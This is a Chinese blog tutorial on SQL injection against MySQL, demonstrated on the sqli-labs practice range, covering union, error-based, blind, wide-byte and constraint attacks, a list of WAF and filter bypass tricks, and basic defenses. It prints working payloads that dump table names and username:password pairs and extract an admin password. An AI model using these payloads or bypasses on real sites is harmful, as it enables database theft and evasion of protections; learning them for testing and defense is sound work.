Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构
mysql内置的information_schema数据库中有三个表非常重要
1 schemata:表里包含所有数据库的名字
2 tables:表里包含所有数据库的所有的表,默认字段为table_name
3 columns:三个列非常重要
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
SQL注入原理:web应用没有对用户输入的数据进行严格校验,
导致攻击者可以在输入的数据中构造恶意SQL语句获取后台敏感信息.

分类:
按注入的位置可分为
GET类型注入
POST型注入
HTTP头部注入
常见的攻击思路及手法:
基本思路:
第一步:我们输入的数据,也就是可控参数的改变能不能影响页面显示结果.
第二步:能否让数据库产生报错.例如简单的添加一个单引号看页面是否有数据库爆错信息
第三步:能否不让数据库产生报错.也就是将我们的sql语句跟后台的sql语句成功闭合并且被成功的执行.
攻击手法:
演示环境为php+Apache+mysql,靶场为sqli-labs
(1)联合注入:
例题为less-1,加单引号后发现报错,根据报错信息

猜测后台语句为SELECT username,password FROM users where id='1' LIMIT 0,1;
而我们输入的1'导致where后面的筛选条件变为了id='1'',所以出现语法错误,
这个时候就需要注释掉后面的语句比如输入1‘#发现页面正常显示

这个时候后台实际执行时就变成了SELECT username,password FROM users where id='1‘;
因为我们#已经把后面的' LIMIT 0,1;注释掉了,这样我们就可以拼接语句
order by判断查询的字段数:?id=1'order by 4# 报错,order by 3正常返回
构造payload:
爆表名:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
爆字段名:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
爆字段值:?id=-1'union select 1,group_concat(concat_ws(":",username,password)),3 from users%23
(2)报错注入:
首先要了解两个函数
①extractvalue():从目标XML中返回包含所查询值的字符串
extractvalue()(XML_document,XPath_String);
从第一参数的文档里查找有没有第二个参数(字符串)
②UPDATAXML(XML_document,XPath_string,new_value)查找并且替换
参数含义:
new_value,String格式,替换查找到的符合条件的数据
XML_document:String格式的XML文档对象的名字
XPath_String:Xpath格式的字符串
利用方法:
1.将extractvalue(1,2号位)函数作为查询字段,在2号位用concat()函数拼接字符串
由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,
第二个参数就是具体要查询的敏感内容
2.将updataxml(1,2号位,3)函数作为查询字段,在2号位用concat()函数拼接字符串
由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,
第二个参数就是具体要查询的敏感内容
Less11的payload:
uname=1'UNION SELECT 1,extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username LIKE 'admin' limit 0,1))) %23&passwd=&submit=Submit
(3)盲注:
所谓盲注就是我们在测试有无注入点的时候,看不到数据库的报错信息,也看不到数据库
的回显信息,只能通过页面状态的变化,来判断是否存在注入
布尔盲注:例如less5中构造?id=1' or 1=0%23 页面正常返回you are in,但当id改为=-1时,or前后条件都为假,页面返回空,判断存在布尔类型盲注
构造payload逐步爆破表名
http://127.0.0.1/sqli/less-5/?id=-1' or (SELECT ascii(substr(table_name,1,1))
FROM information_schema.tables
WHERE table_schema = database() limit 0,1)=101 %23
时间盲注:
可以通过返回服务器返回数据的时间判断页面是否执行了我们的代码
涉及到的函数 sleep(),benchmark()
if(1,sleep(),0)
在1处拼接sql语句 ascii(substr((SELECT FROM),1,1))>1
(4)宽字节注入:
宽字节注入是利用MySQL的一个特性,
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉
,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。
GBK编码一个字符占两个字节
ASCII站一个字符占用一个字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节
字符集
利用方法简单点就是在被过滤的符号前加上%81等
比如
less32 payload:
?id=0%81' union select 1,user(),version() %23
(5)约束攻击:
原理:对于insert语句 SQL会根据varchar(n)来限制字符串的最大长度
例如:user字段约束为varchar(5)
所以 'admin 123','admin'在insert的时候插入的值是一样的都是截取前5个字符
而对于select语句来说两者不一样
select会原封不动的查询有没有匹配'admin 123'的数据
这就造成如果
数据库的表中如果有字段值为admin,
我们注册用户名'admin 123'
sql会先执行select语句查询表中对应字段值有没有为'admin 123'的,
当然是没有,然后插入,由于只能插入前5个字符,所以表中对应字段就多了一个
值为admin,造成任意登录
SQL注入常见绕过:
注释可以用#,--+,-- -
过滤关键字:大小写绕过SelEct,双写绕过selselectect,内联注释绕过/*!select*/
特殊编码绕过:十六进制,ASCII编码,unicode编码,hex编码
过滤空格:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB(垂直)
%a0 空格
%0a 回车(url编码)
/**/ 代替空格
()包裹关键字
过滤or and xor not: || && | !代替
过滤等号=:like代替,rlike,regexp,0<id>1,!(id<>1)
过滤大于号,小于号:
greatest(n1,n2,n3)返回n中最大值,least(n1,n2,n3)最小
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,
第一个参数小于第二个,则返回 -1,其它情况返回 1
in关键字: where id = 1 and substr(username,1,1) in ('t')
between关键字
过滤逗号绕过:
substr("string"from 1 for 3)
join关键字:
select * from users union select * from (select 1)a join (select 2)b join(select 3)c
等价于union select 1,2,3
like:关键字:select user() like"t%"
offset关键字:limit 2,1 等价于limit 1 offset 2
过滤函数绕过:
1)sleep() -->benchmark()
BENCHMARK()函数可以测试某些特定操作的执行速度。
参数可以是需要执行的次数和表达式。
第一个参数是执行次数,第二个执行的表达式
select 1,2 and benchmark(1000000000,1)
2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可
3)group_concat()–>concat_ws(),第一个参数为分隔符
eg:mysql> select concat_ws(",","str1","str2")
4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
5)user() --> @@user、datadir–>@@datadir
6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文的时候不一致。
缓冲区溢出用于对付WAF,因为有不少WAF是C语言写的,
而C语言自身没有缓冲区保护机制,
因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
payoad:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A”重复1000次,
一般来说对应用软件构成缓冲区溢出都需要较大的测试长度
这里1000只做参考,在某些情况下可能不需要这么长也能溢出
防御措施:
代码层:
黑名单:不允许哪些关键字查询
白名单:允许哪些关键字查询
敏感字符过滤:' " @ --+ -- ) #等
使用框架安全查询:一些持久层框架
规范输出:不要输出报错信息,代码信息,
配置层
开启GPC:比如在PHP里开启GPC,自动过滤一些通用字符
使用UTF-8:因为GBK会产生宽字节注入
物理层
WAF:web应用防火墙,缺点是可绕过,可被0day攻击,但是网站还是得有,
因为它是最基本的防御措施。
数据库审计:对业务查询代码进行审计
云防护:跟waf基本没啥区别,就是把客户端输入的参数给过滤一遍发给服务器
IPS(入侵防御系统)
Web安全之SQL注入(原理,绕过,防御)的更多相关文章
- web安全之sql注入原理
sql注入的原理: 将(恶意)的SQL命令注入到后台数据库引擎执行的能力,把信息返回到页面 sql注入产生的原因: 过滤不严谨,导致产生的sql注入. sql注入产生的地方: ...
- SQL注入原理与解决方法代码示例
一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
- WEB 安全之 SQL注入<一> 盲注
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- sql注入原理详解(一)
我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 1.sql注入原理
一.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...
- 讲sql注入原理的 这篇不错(有空可以看看)
我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- SQL注入原理及代码分析(二)
前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ...
- WEB 安全之 SQL注入 < 三 > 提权
SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...
随机推荐
- 【EXPDP】expdp/impdp数据泵远程导入导出
Oracle在10g的时候有一个很好用的导出工具expdp(数据泵) 但是这个工具好用的同时,有一个局限,就是必须用本地的用户才可以导出数据,也就是说数据泵只能导出本地数据库的数据 但是如果业务需求是 ...
- java锁的对象引用
当访问共享的可变数据时,通常需要同步.一种避免使用同步的方式就是不共享数据. 如果数据仅在单线程内访问,就不需要同步,这种技术称为"线程封闭",它是实现线程安全性最简单方式之一. ...
- LeetCode783. 二叉搜索树节点最小距离
题目 和LeetCode530没什么区别 1 class Solution { 2 public: 3 vector<int>ans; 4 int minDiffInBST(TreeNod ...
- Ubuntu16.04安装MySQL8.0
1.Ubuntu换源(阿里云) sudo cp /etc/apt/sources.list /etc/apt/sources.list.baksudo vi /etc/apt/sources.list ...
- DOS的FOR命令用法总结
鉴于dos自带的关于for命令的帮助信息看起来太简单,自己总结了一下,并增加了必要的实例,以备日后自己查阅.其中一些地方可能存在理解错误,敬请指出. [转发请注明出处]
- Goby资产扫描工具安装及报错处理
官网: https://cn.gobies.org/index.html 产品介绍: 帮企业梳理资产暴露攻击面,新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急. 已有功能: 扫 ...
- RocketMQ在linx安装及其有关问题解决
Linx安装和使用: rocketmq官网:http://rocketmq.apache.org/ 首先安装JDK(推荐使用JDK1.8),并配置环境变量 下载rocketmq压碎包并解压到指定目录 ...
- Spring入门及IoC的概念
Spring入门 Spring是一个轻量级的Java开发框架,最早由Robd Johnson创建,目的为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题,它是一个分层的JavaSE/EE轻量级开源 ...
- ElasticSearch-命令行客户端操作
1.引言 实际开发中,主要有三种方式可以作为elasticsearch服务的客户端: 第一种,elasticsearch-head插件(可视化工具) 第二种,使用elasticsearch提供的Res ...
- centos7服务器远程安装图形化页面
以下是我用云的centos 7.4的安装步骤,照着我的命令操作肯定OK的,其他的就不敢保证了... 1.首先安装X(X Window System),命令为:(注意有引号) yum groupinst ...